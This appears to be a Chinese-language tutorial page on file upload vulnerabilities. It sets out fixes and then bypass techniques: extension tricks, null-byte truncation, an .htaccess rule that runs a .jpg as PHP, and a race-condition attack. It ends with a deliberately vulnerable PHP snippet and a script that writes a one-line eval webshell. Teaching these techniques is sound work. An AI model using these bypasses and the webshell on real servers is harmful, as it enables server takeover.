文件上传漏洞

@wintry大约 2 分钟

漏洞概述

任意文件上传漏洞是因为对上传的文件校验不严导致攻击者上传可执行脚本接管服务器。

校验方法主要分客户端校验(前端)和服务端校验。

修复方案

1)在将文件保存在本地前就进行相应的安全检查

2)使用白名单限制文件扩展名

3)对上传后的文件统一随机命名,不允许用户控制扩展名

4)上传文件的存储目录禁用执行权限

客户端检验

检测

Javascript校验后缀名(一般只校验后缀名)

绕过

开启Burp抓包,点击浏览选择文件,但是还没点击"上传",就弹出警告框,说明流量没经过Burp代理

所以非常可能是客户端JavaScript检测,直接把木马改成.jpg后缀上传,BurpSuite拦包修改后缀名

服务端校验

检测

1)MIME检测 文件头content-type字段校验(image/gif)

2)文件内容头校验(GIF89a)

3)文件扩展名校验 (黑名单、白名单)

4)文件内容检测 (检测内容是否合法或含有恶意代码)

绕过

1)针对前两种检测,直接上传正常图片把木马内容粘贴在图片后边,修改扩展名后缀上传即可

2)文件扩展名黑名单检测绕过

#漏网之鱼
.cer、.php3、.php4

#大小写绕过
.AsP
.pHP

#后缀复写
.phphpp

上传不符合windows文件命名规则的文件名

test.php:1.jpg
test.php::$DATA
#会被windows系统自动去掉不符合规则符号后面的内容

3)文件扩展名白名单绕过

%00截断

PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容

服务器中间件解析漏洞绕过

如果可上传修改 .htaccess 文件 (还能用于隐藏后门)

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//上传shell.jpg文件,将解析为php运行

竞争条件攻击

一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。

服务器端在处理不同用户的请求时是并发进行的。

如果并发处理不当或相关操作逻辑顺序设计的不合理时,将导致条件竞争漏洞。

如这样一段代码

<?php
	if(isset($_GET['src'])){
		copy($_GET['src'],$_GET['dst']);
		sleep(2);
		unlink($_GET['dst']);
	}
?>

它先把文件保存在本地,再检查,然后删除;

在上传完成和安全检查删除它的间隙,攻击者用多线程不断的发起访问请求该文件,该文件就会被执行从而生成一个恶意shell。

//create_shell.php
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[1]) ?>');
?>